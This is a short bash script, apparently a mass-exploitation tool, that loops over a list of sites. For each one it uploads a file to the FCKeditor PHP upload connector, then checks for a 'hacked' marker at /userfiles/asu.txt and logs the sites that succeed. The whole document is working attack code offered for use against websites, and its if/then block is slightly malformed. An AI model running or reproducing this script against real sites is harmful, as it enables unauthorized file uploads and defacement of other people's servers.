fckeditor fucker

#!/bin/bash
    # target site.com/fckeditor/filemanager/connectors/php/upload.php
for url in `cat $1`; do
    x=`curl -s -k "$url/fckeditor/editor/filemanager/connectors/php/upload.php?time=1566531885485&Type=File&CurrentFolder=/" -F 'NewFile=@asu.txt'`
    cekshell=$(curl -s "$url/userfiles/asu.txt");
    if [[ $cekshell =~ 'hacked' ]];
    echo "http://$url/userfiles/asu.txt" | tee -a berhasilmaz.txt
    then
    echo "$url"
    echo "UPLOAD OK"
    else
    echo "$url"
    echo "UPLOAD FAILED"
    fi
done